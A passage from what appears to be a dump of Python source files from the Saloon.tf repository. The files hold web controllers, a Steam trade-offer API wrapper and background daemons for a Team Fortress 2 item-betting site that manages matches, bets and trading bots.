RUser.to_dict()\n limit = min(int(limit), 10)\n\n RMatches = Session.query(db.Matches)\\\n .filter(db.Matches.status != 5)\\\n .order_by(\n sql.expression.case((\n (db.Matches.status == 1, 0),\n (db.Matches.status == 0, sql.expression.extract('epoch', db.Matches.time))\n )).asc(),\n db.Matches.time.desc(),\n db.Matches.id.desc()\n )\\\n .offset(offset).limit(limit).all()\n\n c.matches, c.bets, c.offers = ([],[],[])\n for RMatch in RMatches:\n match = RMatch.to_dict(show=[\"matches.Team1\", \"matches.Team2\"])\n match[\"Team1\"].update(RMatch.team1Score())\n match[\"Team2\"].update(RMatch.team2Score())\n match[\"naturalTime\"] = RMatch.naturalTime()\n match[\"json\"] = json.dumps(match, default = lambda obj: obj.isoformat() if isinstance(obj, datetime.datetime) else None)\n match[\"Team1\"][\"json\"] = json.dumps(match[\"Team1\"])\n match[\"Team2\"][\"json\"] = json.dumps(match[\"Team2\"])\n c.matches.append(match)\n\n offer = False\n bet = False\n if c.user:\n ROffer = Session.query(db.Offers).filter(and_(db.Offers.status == 2, db.Offers.match == RMatch.id, db.Offers.user == RUser.id, db.Offers.hidden == False)).first()\n if ROffer:\n offer = ROffer.team\n\n bet = {\n \"team\": None,\n \"own\": False,\n \"limit\": RUser.Rank.slots\n }\n RBet = Session.query(db.Bets).filter(and_(db.Bets.user == RUser.id, db.Bets.match == RMatch.id)).first()\n if RBet:\n bet[\"team\"] = RBet.team\n bet[\"own\"] = True\n bet[\"limit\"] -= len(RBet.items)\n\n c.bets.append(bet)\n c.offers.append(offer)\n return render('/ajax/matches.mako')\n\n def bets(self, matchID, teamID, offset = 0, limit = 10):\n c.current = \"match\"\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.to_dict()\n\n limit = min(int(limit), 10)\n\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n c.match = RMatch.to_dict()\n\n conditions = [\n db.Bets.match == matchID,\n db.Bets.team == teamID,\n ]\n if c.user:\n conditions += [db.Bets.user != RUser.id]\n\n c.bets = []\n RBets = Session.query(db.Bets) \\\n .filter(and_(*conditions)) \\\n .order_by(db.Bets.value.desc()) \\\n .offset(offset).limit(limit).all()\n\n if not RBets:\n return render('/ajax/bets.mako')\n\n \n betIDs = [RBet.id for RBet in RBets]\n\n betItems = defaultdict(list)\n\n RItemsBet = Session.query(db.ItemsInstances, db.ItemsBet) \\\n .distinct(db.ItemsInstances.originID) \\\n .filter(db.ItemsBet.bet.in_(betIDs), db.ItemsBet.itemInstance == db.ItemsInstances.id) \\\n .all()\n\n RItemsBet = sorted(RItemsBet, key = lambda x: (x[1].origin * -1, x[0].Item.type, x[0].Item.quality, x[0].Item.value * -1))\n\n for RBet in RBets:\n bet = RBet.to_dict(show=[\"bets.User\", \"bets.Team\"])\n if RBet.team == RMatch.team1:\n bet[\"Team\"].update(RMatch.team1Score())\n else:\n bet[\"Team\"].update(RMatch.team2Score())\n\n bet[\"own\"] = False\n bet[\"items\"] = []\n for RItemInstance, RItemBet in RItemsBet:\n if RItemBet.bet != RBet.id:\n continue\n item = RItemInstance.to_dict(show=[\"itemsinstances.Item\"])\n item[\"origin\"] = RItemBet.origin\n bet[\"items\"].append(item)\n\n c.bets.append(bet)\n\n return render('/ajax/bets.mako')\n\n def betsSummary(self, offset = 0, limit = 10):\n c.current = \"bets\"\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.to_dict()\n\n if not c.user:\n return False\n\n limit = min(int(limit), 10)\n\n RBets = Session.query(db.Bets)\\\n .join(db.Bets.Match)\\\n .filter(db.Bets.user == RUser.id)\\\n .order_by(\n sql.expression.case((\n (db.Bets.status == 1, 0),\n (db.Matches.status == 1, 1),\n (db.Matches.status == 0, sql.expression.extract('epoch', db.Matches.time))\n )).asc(),\n sql.expression.case((\n (db.Bets.status == 2, 0),\n (db.Bets.status == 0, 1)\n )).asc(),\n db.Matches.time.desc(),\n db.Matches.id.desc()\n )\\\n .offset(offset).limit(limit).all()\n\n c.matches, c.bets, c.offers = ([], [], [])\n if not RBets:\n return render('/ajax/betsSummary.mako')\n\n betIDs = [RBet.id for RBet in RBets]\n\n betItems = defaultdict(list)\n\n RItemsBet = Session.query(db.ItemsInstances, db.ItemsBet) \\\n .distinct(db.ItemsInstances.originID) \\\n .filter(db.ItemsBet.bet.in_(betIDs), db.ItemsBet.itemInstance == db.ItemsInstances.id) \\\n .all()\n\n RItemsBet = sorted(RItemsBet, key = lambda x: (x[1].origin * -1, x[0].Item.type, x[0].Item.quality, x[0].Item.value * -1))\n\n c.bets = []\n c.offers = []\n for RBet in RBets:\n bet = RBet.to_dict(show=[\"bets.User\"])\n bet[\"own\"] = True\n bet[\"naturalDeadline\"] = RBet.naturalDeadline()\n\n bet[\"items\"] = []\n for RItemInstance, RItemBet in RItemsBet:\n if RItemBet.bet != RBet.id:\n continue\n item = RItemInstance.to_dict(show=[\"itemsinstances.Item\"])\n item[\"origin\"] = RItemBet.origin\n bet[\"items\"].append(item)\n\n bet[\"limit\"] = RUser.Rank.slots - len(bet[\"items\"])\n c.bets.append(bet)\n\n match = RBet.Match.to_dict()\n match[\"Team1\"].update(RBet.Match.team1Score())\n match[\"Team2\"].update(RBet.Match.team2Score())\n match[\"naturalTime\"] = RBet.Match.naturalTime()\n c.matches.append(match)\n\n offer = False\n ROffer = Session.query(db.Offers).filter(and_(db.Offers.status == 2, db.Offers.match == RBet.match)).first()\n if ROffer:\n offer = ROffer.team\n c.offers.append(offer)\n return render('/ajax/betsSummary.mako')" }, { "alpha_fraction": 0.5896720290184021, "alphanum_fraction": 0.5954291820526123, "avg_line_length": 37.08970260620117, "blob_id": "2b3d526499e7184e66c0bde085e8f738b0439902", "content_id": "7bb410c30db78a9ec835c29f594b9d4d146254c5", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11464, "license_type": "no_license", "max_line_length": 167, "num_lines": 301, "path": "/Website/website/lib/api.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import datetime, uuid, json, socket, urllib\nfrom pylons import session\nfrom collections import OrderedDict\nfrom random import randrange\nfrom sqlalchemy import func\nfrom website.lib.base import Session\nimport database as db\n\nfrom mechanize import Browser, HTTPError, URLError\nbrowser = Browser()\n\nclass API(object):\n def __init__(self, steamAPI, steamID):\n self.steam = {}\n self.steam[\"api\"] = steamAPI\n self.steam[\"id\"] = steamID\n\n def GetOffers(self, offerType = \"received\", offerState = 2, active = True, historical = False, summary = False):\n parameters = {\n 'active_only': int(active),\n 'historical_only': int(historical)\n }\n if summary:\n parameters[\"get_descriptions\"] = 1\n if offerType == \"sent\":\n parameters[\"get_sent_offers\"] = 1\n else:\n parameters[\"get_received_offers\"] = 1\n\n offersList = []\n response = self.API(\"IEconService/GetTradeOffers/v0001\", parameters)\n if response:\n response = response[u\"response\"]\n descriptions = {}\n if u\"descriptions\" in response:\n for item in response[u\"descriptions\"]:\n descriptions[item[\"classid\"] + \"_\" + item[\"instanceid\"]] = item\n\n if offerType == \"sent\":\n if u\"trade_offers_sent\" in response:\n offersList = response[u\"trade_offers_sent\"]\n else:\n offersList = []\n else:\n if u\"trade_offers_received\" in response:\n offersList = response[u\"trade_offers_received\"]\n else:\n offersList = []\n\n offers = {}\n for offer in offersList:\n offerID = int(offer[u\"tradeofferid\"])\n if not offerState or offer[u\"trade_offer_state\"] == offerState:\n steamID = SID(accountID = offer[u\"accountid_other\"]).toCommunity()\n Partner = self.Friend(steamID)\n if summary:\n offer = self.Offer(offerID, Partner, True, descriptions, offer, True)\n else:\n offer = self.Offer(offerID, Partner)\n offers[offerID] = offer\n\n return offers\n\n def Offer(self, offerID, Partner = False, summary = False, descriptions = {}, offer = False, inventory = False):\n return self.OOffer(self, offerID, Partner, summary, descriptions, offer, inventory)\n\n class OOffer:\n def __init__(self, API, offerID, Partner, summary, descriptions, offer, inventory):\n self.API = API\n self.offerID = offerID\n self.Partner = Partner\n self.itemsToReceive = False\n self.itemsToGive = False\n self.descriptions = descriptions\n self.offer = offer\n self.inventory = inventory\n if summary:\n self.summary()\n\n def summary(self):\n descriptions = self.descriptions\n offer = self.offer\n if not self.descriptions or not offer:\n parameters = {'tradeofferid': str(self.offerID)}\n response = self.API.API(\"IEconService/GetTradeOffer/v0001\", parameters)\n if response:\n response = response[u\"response\"]\n offer = response[u\"offer\"]\n if u\"descriptions\" in response:\n for item in response[u\"descriptions\"]:\n descriptions[item[\"classid\"] + \"_\" + item[\"instanceid\"]] = item\n\n self.state = offer[u\"trade_offer_state\"]\n self.message = offer[u\"message\"]\n self.expirationTime = offer[u\"expiration_time\"]\n self.itemsToReceive = {}\n if u\"items_to_receive\" in offer:\n if self.inventory:\n self.inventory = self.Partner.inventory()\n for item in offer[u\"items_to_receive\"]:\n classID = int(item[u\"classid\"])\n assetID = int(item[u\"assetid\"])\n if not classID in self.itemsToReceive:\n self.itemsToReceive[classID] = {\n \"classID\": classID,\n \"appid\": int(item[u\"appid\"]),\n \"contextid\": int(item[u\"contextid\"]),\n \"items\": {}\n }\n\n self.itemsToReceive[classID][\"items\"][assetID] = {}\n if descriptions:\n description = descriptions[item[\"classid\"] + \"_\" + item[\"instanceid\"]]\n self.itemsToReceive[classID][\"name\"] = description[u\"name\"]\n self.itemsToReceive[classID][\"type\"] = description[u\"type\"]\n self.itemsToReceive[classID][\"items\"][assetID] = {\n \"craftable\": not (u\"descriptions\" in description and \"( Not Usable in Crafting )\" in [attribute[\"value\"] for attribute in description[u\"descriptions\"]]),\n \"tradable\": description[u\"tradable\"],\n \"background_color\": description[u\"background_color\"],\n \"name_color\": description[u\"name_color\"]\n }\n if self.inventory:\n for defindex, itemsGroup in self.inventory.items():\n if assetID in itemsGroup:\n self.itemsToReceive[classID][\"defindex\"] = defindex\n self.itemsToReceive[classID][\"items\"][assetID][\"originID\"] = itemsGroup[assetID][\"originID\"]\n self.itemsToReceive[classID][\"items\"][assetID][\"quality\"] = itemsGroup[assetID][\"quality\"]\n\n self.itemsToGive = {}\n if u\"items_to_give\" in offer:\n if self.inventory:\n self.inventory = self.Friend(self.API.steamID).inventory()\n for item in offer[u\"items_to_give\"]:\n classID = int(item[u\"classid\"])\n assetID = int(item[u\"assetid\"])\n\n if not classID in self.itemsToGive:\n self.itemsToGive[classID] = {\n \"classid\": classID,\n \"assetid\": int(item[u\"assetid\"]),\n \"appid\": int(item[u\"appid\"]),\n \"contextid\": int(item[u\"contextid\"]),\n \"items\": {}\n }\n\n self.itemsToGive[classID][\"items\"][assetID] = {}\n if descriptions:\n description = descriptions[item[\"classid\"] + \"_\" + item[\"instanceid\"]]\n self.itemsToGive[classID][\"name\"] = description[u\"name\"]\n self.itemsToGive[classID][\"type\"] = description[u\"type\"]\n self.itemsToGive[classID][\"items\"][assetID] = {\n \"craftable\": not (u\"descriptions\" in description and \"( Not Usable in Crafting )\" in [attribute[\"value\"] for attribute in description[u\"descriptions\"]]),\n \"tradable\": description[u\"tradable\"],\n \"background_color\": description[u\"background_color\"],\n \"name_color\": description[u\"name_color\"]\n }\n if self.inventory:\n for defindex, itemsGroup in self.inventory.items():\n if assetID in itemsGroup:\n self.itemsToGive[classID][\"defindex\"] = defindex\n self.itemsToGive[classID][\"items\"][assetID][\"originID\"] = itemsGroup[assetID][\"originID\"]\n self.itemsToGive[classID][\"items\"][assetID][\"quality\"] = itemsGroup[assetID][\"quality\"]\n\n def Friend(self, steamID, summary = False):\n return self.OFriend(self, steamID, summary)\n\n class OFriend:\n def __init__(self, API, steamID, summary):\n self.API = API\n self.steamID = steamID\n self.SID = SID(communityID = steamID)\n self.token = False\n if summary:\n self.summary()\n \n def inventory(self, appID = 440, contextID = 2):\n items = {}\n parameters = {'steamid': self.steamID}\n inventory = self.API.API(\"IEconItems_440/GetPlayerItems/v0001\", parameters)\n if inventory:\n if inventory[u\"result\"][u\"status\"] == 1:\n for item in inventory[u\"result\"][u\"items\"]:\n if item[u\"quality\"] != 0:\n if item[u\"defindex\"] not in items:\n items[item[u\"defindex\"]] = {}\n items[item[u\"defindex\"]][item[u\"id\"]] = {\n \"assetID\": item[u\"id\"],\n \"originID\": item[u\"original_id\"],\n \"level\": item[u\"level\"],\n \"quality\": item[u\"quality\"],\n \"origin\": item[u\"origin\"],\n \"tradable\": not u\"flag_cannot_trade\" in item,\n \"craftable\": not u\"flag_cannot_craft\" in item\n }\n return items\n return False\n\n def sortedInventory(self):\n response = []\n itemSchema = Schema()\n inventory = self.inventory()\n if inventory:\n itemsOrder = itemSchema.order(inventory.keys())\n itemsMeta = itemSchema.meta(inventory.keys())\n for orderedItem in itemsOrder:\n defindex = orderedItem[\"defindex\"]\n quality = orderedItem[\"quality\"]\n itemsGroup = {\n \"name\": itemsMeta[defindex].values()[0].description,\n \"defindex\": defindex,\n \"quality\": quality,\n \"value\": itemsMeta[defindex][quality].value,\n \"items\": {}\n }\n items = OrderedDict(sorted(inventory[defindex].items(), key=lambda x:x[1][\"assetID\"], reverse = True))\n for id, item in items.items():\n if item[\"quality\"] == quality:\n if item[\"craftable\"] and item[\"tradable\"] and item[\"quality\"] in itemsMeta[defindex]:\n itemsGroup[\"items\"][id] = item\n if itemsGroup[\"items\"]:\n response.append(itemsGroup)\n return response\n return False\n\n def API(self, message, parameters):\n parameters['key'] = self.steam[\"api\"]\n data = urllib.urlencode(parameters)\n for i in range(0,3):\n try:\n if \"DeclineTradeOffer\" in message or \"CancelTradeOffer\" in message:\n response = browser.open(\"http://api.steampowered.com/\" + message + \"/\", data, timeout = 5.0)\n else:\n response = browser.open(\"http://api.steampowered.com/\" + message + \"/?\" + data, timeout = 5.0)\n except (HTTPError, URLError) as error:\n continue\n response = json.loads(response.read())\n return response\n return False\n\nclass SID:\n def __init__(self, steamID = False, communityID = False, accountID = False):\n self.steamIDBase = 76561197960265728\n if steamID:\n self.steamID = steamID\n elif communityID:\n account = []\n account.append(\"STEAM_0:\")\n accountLastPart = int(communityID) - self.steamIDBase\n if accountLastPart % 2 == 0:\n account.append(\"0:\")\n else:\n account.append(\"1:\")\n account.append(str(accountLastPart // 2))\n self.steamID = \"\".join(account)\n elif accountID:\n self.steamID = \"STEAM_0:%d:%d\" % (accountID & 1, accountID >> 1)\n\n def toCommunity(self):\n steamIDParts = self.steamID.split(\":\")\n communityID = int(steamIDParts[2]) * 2\n if steamIDParts[1] == \"1\":\n communityID += 1\n communityID += self.steamIDBase\n return communityID\n\n def toSteam(self):\n return steamID\n\n def toAccount(self):\n steamIDParts = self.steamID.split(\":\")\n accountID = int(steamIDParts[2]) << 1\n return accountID\n\nclass Schema(object):\n def __init__(self):\n self.load()\n\n def load(self):\n self.items = {}\n self.ordered = []\n RItems = Session.query(db.Items).order_by(db.Items.type, db.Items.quality, db.Items.value.desc()).all()\n for RItem in RItems:\n if RItem.defindex not in self.items:\n self.items[RItem.defindex] = {}\n self.items[RItem.defindex][RItem.quality] = RItem\n self.ordered.append({\"defindex\": RItem.defindex, \"quality\": RItem.quality})\n return self.items\n\n def order(self, items):\n order = []\n for item in self.ordered:\n if item[\"defindex\"] in items and item not in order:\n order.append(item)\n return order\n\n def meta(self, items):\n response = {}\n for defindex in items:\n if defindex in self.items:\n response[defindex] = self.items[defindex]\n return response" }, { "alpha_fraction": 0.6103631258010864, "alphanum_fraction": 0.6177070736885071, "avg_line_length": 34.536231994628906, "blob_id": "24d5afac555f1e114a9a389e33c5eb1a6dde5138", "content_id": "a0969c2349abeafea53994e821f9801db389f477", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2451, "license_type": "no_license", "max_line_length": 170, "num_lines": 69, "path": "/Website/website/controllers/home.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import logging, datetime, simplejson as json\n\nfrom pylons import request, response, session, tmpl_context as c, url\nfrom pylons.controllers.util import abort, redirect\nfrom collections import OrderedDict\nfrom natural import date as naturalDate\nfrom sqlalchemy import and_, sql, func\nfrom website.lib.base import BaseController, Session, render\nimport database as db\n\nlog = logging.getLogger(__name__)\n\nclass HomeController(BaseController):\n\n def index(self):\n # Return a rendered template\n c.current = \"home\"\n c.user = False\n if \"steamid\" in session:\n RUser = Session.query(db.Users).filter(db.Users.steamID == session[\"steamid\"]).first()\n if RUser:\n c.user = RUser.to_dict()\n\n RMatches = Session.query(db.Matches)\\\n .filter(db.Matches.status != 5)\\\n .order_by(\n sql.expression.case((\n (db.Matches.status == 1, 0),\n (db.Matches.status == 0, sql.expression.extract('epoch', db.Matches.time))\n )).asc(),\n db.Matches.time.desc(),\n db.Matches.id.desc()\n )\\\n .limit(10).all()\n\n c.matches, c.bets, c.offers = ([],[],[])\n for RMatch in RMatches:\n match = RMatch.to_dict(show=[\"matches.Team1\", \"matches.Team2\"])\n match[\"Team1\"].update(RMatch.team1Score())\n match[\"Team2\"].update(RMatch.team2Score())\n match[\"naturalTime\"] = RMatch.naturalTime()\n match[\"json\"] = json.dumps(match, default = lambda obj: obj.isoformat() if isinstance(obj, datetime.datetime) else None)\n match[\"Team1\"][\"json\"] = json.dumps(match[\"Team1\"])\n match[\"Team2\"][\"json\"] = json.dumps(match[\"Team2\"])\n c.matches.append(match)\n\n offer = False\n bet = False\n if c.user:\n ROffer = Session.query(db.Offers).filter(and_(db.Offers.status == 2, db.Offers.match == RMatch.id, db.Offers.user == RUser.id, db.Offers.hidden == False)).first()\n if ROffer:\n offer = ROffer.team\n\n bet = {\n \"team\": None,\n \"own\": False,\n \"limit\": RUser.Rank.slots\n }\n RBet = Session.query(db.Bets).filter(and_(db.Bets.user == RUser.id, db.Bets.match == RMatch.id)).first()\n if RBet:\n bet[\"team\"] = RBet.team\n bet[\"own\"] = True\n RItemsCount = Session.query(func.count(db.ItemsBet.id)).filter(db.ItemsBet.bet == RBet.id).first()\n bet[\"limit\"] -= RItemsCount[0]\n\n c.bets.append(bet)\n c.offers.append(offer)\n\n return render('/home.mako')" }, { "alpha_fraction": 0.6742275357246399, "alphanum_fraction": 0.6769065856933594, "avg_line_length": 37.88888931274414, "blob_id": "649584570648d841e184dd50a128a23be9c09d28", "content_id": "2ff80a2d6dbd7911e301bd2c63bc974238a2c5a0", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5599, "license_type": "no_license", "max_line_length": 198, "num_lines": 144, "path": "/Daemon/EventsDaemon.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import requests\nimport logging\nimport datetime, time, calendar, uuid\nimport re\nfrom sqlalchemy import or_, and_\nfrom threading import Thread\nfrom collections import defaultdict\nimport database as db\n\nclass Handler(object):\n def __init__(self, Communicate, SteamHandlers):\n self.SteamHandlers = SteamHandlers\n self.running = True\n self.EventsQueue = self._EventsQueue(self)\n\n def shutdown(self):\n self.running = False\n\n class _EventsQueue(object):\n def __init__(self, Handler):\n self.Handler = Handler\n self.events = []\n Thread(target=self.loop).start()\n\n def addToQueue(self, id, time, action, arguments):\n self.removeFromQueue(id)\n self.events.append({\"id\": id, \"time\": time, \"action\": action, \"arguments\": arguments})\n\n def removeFromQueue(self, id):\n for index, event in enumerate(self.events):\n if event[\"id\"] == id:\n break\n else:\n return False\n\n del self.events[index]\n return True\n\n def loop(self):\n while self.Handler.running:\n self.Handler.inventories = {}\n with db.SessionScope() as Session:\n currentTime = datetime.datetime.now()\n fired = []\n for index, event in enumerate(self.events):\n if event[\"time\"] <= currentTime:\n if event[\"action\"](*event[\"arguments\"]):\n fired.append(index)\n\n for index in fired:\n del self.events[index]\n\n time.sleep(60)\n\n def loadQueue(self):\n with db.SessionScope() as Session:\n self.log(\"Loading matches to start\")\n RMatches = Session.query(db.Matches).filter(and_(db.Matches.time < datetime.datetime.now(), db.Matches.status == 0)).all()\n for RMatch in RMatches:\n self.startMatch(RMatch.id)\n \n self.log(\"Loading matches to end\")\n RMatches = Session.query(db.Matches).filter(and_(db.Matches.endtime < datetime.datetime.now(), db.Matches.status == 1)).all()\n for RMatch in RMatches:\n self.endMatch(RMatch.id)\n\n self.log(\"Loading items to end\")\n RItemInstances = Session.query(db.ItemsInstances).filter(and_(db.ItemsInstances.TTL != None, db.ItemsInstances.TTL < datetime.datetime.now(), db.ItemsInstances.existing == True)).all()\n for RItemInstance in RItemInstances:\n self.endItem(RItemInstance.id, queue = False)\n\n self.log(\"Loading queue\")\n RMatches = Session.query(db.Matches).filter(and_(db.Matches.time != None, db.Matches.status == 0)).all()\n for RMatch in RMatches:\n self.EventsQueue.addToQueue(\"matchStart-%d\" % RMatch.id, RMatch.time, self.startMatch, (RMatch.id,))\n\n RMatches = Session.query(db.Matches).filter(and_(db.Matches.endtime != None, db.Matches.status <= 1)).all()\n for RMatch in RMatches:\n self.EventsQueue.addToQueue(\"matchEnd-%d\" % RMatch.id, RMatch.time, self.endMatch, (RMatch.id,))\n\n RItemInstances = Session.query(db.ItemsInstances).filter(and_(db.ItemsInstances.TTL != None, db.ItemsInstances.existing == True)).all()\n for RItemInstance in RItemInstances:\n self.EventsQueue.addToQueue(\"itemEnd-%d\" % RItemInstance.id, RItemInstance.TTL, self.endItem, (RItemInstance.id,))\n\n self.log(\"Queue loaded\")\n\n def startMatch(self, matchID):\n Session = db.Session()\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n if RMatch:\n RMatch.status = 1\n Session.commit()\n self.Communicate.broadcast([\"matchStart\", RMatch.id, RMatch.Team1.name, RMatch.Team2.name])\n return True\n\n def endMatch(self, matchID):\n Session = db.Session()\n RMatch = Session.query(db.Matches).filter(db.Matches.id == matchID).first()\n if RMatch:\n RMatch.status = 2\n Session.commit()\n self.Communicate.broadcast([\"matchEnd\", matchID])\n return True\n\n def endItem(self, itemID, queue = True):\n Session = db.Session()\n RItemInstance = Session.query(db.ItemsInstances).filter(db.ItemsInstances.id == itemID).first()\n if not RItemInstance:\n return True\n\n if not RItemInstance.existing:\n return True\n\n RItemInstance.existing = False\n\n RItemInstance = db.ItemsInstances(originID = RItemBet.ItemInstance.originID, item = RItemBet.ItemInstance.item, bot = RItemBet.ItemInstance.bot, user = None, status = 5, existing = False)\n Session.add(RItemInstance)\n Session.flush()\n\n RItemBet = Session.query(db.ItemsBet).filter(db.ItemsBet.itemInstance == itemID).first()\n RItemBet.itemInstance = RItemInstance.id\n\n if queue:\n self.LocalHandler.EventsQueue.addToQueue(\"itemDispose-%d\" % RItemInstance.id, datetime.datetime.now() + datetime.timedelta(seconds = 120), self.disposeItem, (RItemInstance.id,))\n else:\n self.disposeItem(RItemInstance.id)\n return True\n\n def disposeItem(self, itemID):\n RItemBet = Session.query(db.ItemsBet).filter(db.ItemsBet.itemInstance == itemID).first()\n if RItemBet.ItemInstance.bot not in self.inventories:\n self.inventories[RItemBet.ItemInstance.bot] = self.SteamHandlers[RItemBet.ItemInstance.bot]\n inventory = self.inventories[RItemBet.ItemInstance.bot]\n\n if inventory:\n for inventoryItems in self.Handler.OffersLoop.inventory.values():\n for id, item in inventoryItems.items():\n if item[\"originID\"] == RItemBet.ItemInstance.originID:\n RItemInstance = db.ItemsInstances(originID = RItemBet.ItemInstance.originID, item = RItemBet.ItemInstance.item, bot = RItemBet.ItemInstance.bot, user = None, status = 7, existing = True)\n Session.add(RItemInstance)\n Session.flush()\n return True\n\n return False" }, { "alpha_fraction": 0.6483944058418274, "alphanum_fraction": 0.6561790704727173, "avg_line_length": 37.42055892944336, "blob_id": "bd04375b18a4a7d88ab04d2e60507dc649ac3956", "content_id": "b29ed2163d6c716b4538bd1bd5fc868f6a2c90f7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12332, "license_type": "no_license", "max_line_length": 196, "num_lines": 321, "path": "/Daemon/Daemon.py", "repo_name": "shaunidiot/Saloon.tf", "src_encoding": "UTF-8", "text": "import sys, gc\nimport requests\nimport time, json\nimport logging\nimport re\nimport random\nimport colorama as color\n\nfrom threading import Thread\nfrom Queue import Queue\nfrom OpenSSL import SSL\nfrom collections import defaultdict\nfrom sqlalchemy.dialects.postgresql import array\nfrom sqlalchemy import and_\nimport database as db\n\nimport SteamDaemon, LocalDaemon, EventsDaemon, ScoresHandler, SchemaHandler\n\nfrom autobahn.twisted.websocket import WebSocketServerProtocol, \\\n WebSocketServerFactory, \\\n listenWS\n\nfrom twisted.internet.protocol import Factory, Protocol, DatagramProtocol\nfrom twisted.internet.endpoints import TCP4ServerEndpoint\nfrom twisted.internet.ssl import DefaultOpenSSLContextFactory\n\nfrom twisted.internet import reactor\nfrom twisted.python import log\nfrom twisted.python.logfile import DailyLogFile\n\nlog.startLogging(sys.stdout)\ngc.enable()\n\nfrom rfoo.utils import rconsole\nrconsole.spawn_server()\n\nclass OCommunicate(object):\n def __init__(self):\n self.listeners = {}\n self.assignedBots = {}\n self.userIDs = {}\n\n def log(self, handler, name, message, level = logging.INFO):\n log.msg(color.Fore.YELLOW + color.Style.BRIGHT + \"[\" + handler + \"] \" + color.Fore.GREEN + \"[\" + name + \"] \" + color.Fore.RESET + color.Style.RESET_ALL + message, logLevel=logging.INFO)\n\n def send(self, array, UUID):\n if UUID in self.listeners:\n self.listeners[UUID].sendMessage(json.dumps(array))\n\n def multicast(self, array, userID):\n for UUID in self.getUsersUUIDs(userID):\n self.send(array, UUID)\n\n def broadcast(self, array):\n for listener in self.listeners.values():\n listener.sendMessage(json.dumps(array))\n\n def add(self, userID, listener, UUID):\n self.userIDs[UUID] = userID\n self.listeners[UUID] = listener\n for SteamHandler in SteamHandlers.values():\n SteamHandler.OffersQueue.resendTimer(listener, userID)\n \n if userID:\n with db.NestedSessionScope() as Session:\n betIDs = []\n RItemsBet = Session.query(db.ItemsBet).filter(db.ItemsBet.ItemInstance.has(and_(db.ItemsInstances.existing == True, db.ItemsInstances.status == 3, db.ItemsInstances.user == userID))).all()\n for RItemBet in RItemsBet:\n if RItemBet.bet not in betIDs:\n betIDs.append(RItemBet.bet)\n if betIDs:\n listener.sendMessage(json.dumps([\"bets\", len(betIDs)]))\n\n def close(self, UUID):\n if UUID in self.listeners:\n self.listeners[UUID].sendClose()\n\n def remove(self, listener):\n UUID = self.getUUID(listener)\n if UUID:\n del self.listeners[UUID]\n\n def getUUID(self, listener):\n for UUID, testedListener in self.listeners.items():\n if testedListener == listener:\n return UUID\n return False\n\n def getUsersUUIDs(self, userID):\n UUIDs = []\n for UUID, testedUserID in self.userIDs.items():\n if testedUserID == userID:\n UUIDs.append(UUID)\n return UUIDs\n\nCommunicate = OCommunicate()\n\nclass OLocal(object):\n def __init__(self):\n self.userIDs = {}\n\n def user(self, userID, UUID):\n self.userIDs[UUID] = userID\n\nLocal = OLocal()\nLocalHandler = LocalDaemon.Handler(Communicate, Local)\n\nSteamHandlers = {}\n\nbotsContexts = []\nwith db.SessionScope() as Session:\n RBots = Session.query(db.Bots).order_by(db.Bots.id.desc()).all()\n for RBot in RBots:\n botsContexts.append(RBot.to_dict(show=[\"emailAddress\", \"emailPassword\", \"steamLogin\", \"steamPassword\"]))\n\nfor botNumber, botContext in enumerate(botsContexts):\n if botNumber > 0 and botNumber % 10 == 0:\n print \"Waiting out 15 seconds.\"\n time.sleep(15)\n SteamHandlers[botContext[\"id\"]] = SteamDaemon.Handler(Communicate, Local, botContext)\n\nSchema = SchemaHandler.Handler(SteamHandlers)\nSchema.update()\n\n\nfor SteamHandler in SteamHandlers.values():\n SteamHandler.Schema = Schema\n SteamHandler.start()\n\nEventsHandler = EventsDaemon.Handler(Communicate, SteamHandlers)\nScores = ScoresHandler.Handler(Communicate, Schema, LocalHandler.Local, EventsHandler, SteamHandlers)\n\nclass WebsocketProtocol(WebSocketServerProtocol):\n def onConnect(self, request):\n print(\"Client connecting: {0}\".format(request.peer))\n\n def onOpen(self):\n if LocalHandler.notification:\n self.sendMessage(json.dumps([\"notification\", LocalHandler.notification[\"type\"], LocalHandler.notification[\"text\"]]))\n\n def onMessage(self, payload, isBinary):\n if not isBinary:\n message = json.loads(payload.decode('utf8'))\n if message[0] == \"auth\":\n with db.SessionScope() as Session:\n UUID = message[1]\n fingerprint = message[2]\n if UUID in Local.userIDs:\n userID = Local.userIDs[UUID]\n if userID:\n RUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n RFingerprintsC = Session.query(db.FingerprintsC).filter(db.FingerprintsC.fingerprint == fingerprint).all()\n for RFingerprintC in RFingerprintsC:\n if RFingerprintC.steamID == RUser.steamID:\n print RFingerprintC\n break\n else:\n RFingerprintC = db.FingerprintsC(steamID = RUser.steamID, fingerprint = fingerprint)\n Session.add(RFingerprintC)\n if RFingerprintsC:\n RIncident = db.Incidents(steamID = RUser.steamID, value = str(fingerprint), method = \"client\")\n Session.add(RIncident)\n\n Communicate.add(userID, self, UUID)\n elif message[0] == \"inventory\":\n with db.SessionScope() as Session:\n UUID = Communicate.getUUID(self)\n if UUID:\n userID = Local.userIDs[UUID]\n RUser = Session.query(db.Users).filter(db.Users.id == userID).first()\n RMatch = Session.query(db.Matches).filter(db.Matches.id == message[1]).first()\n RBet = Session.query(db.Bets).filter(and_(db.Bets.user == userID, db.Bets.match == message[1])).first()\n\n if not RBet:\n if RMatch.betsLimit <= RMatch.betsCount:\n self.sendMessage(json.dumps([\"inventory\", False, \"betsLimit\"]))\n return False\n\n try:\n response = 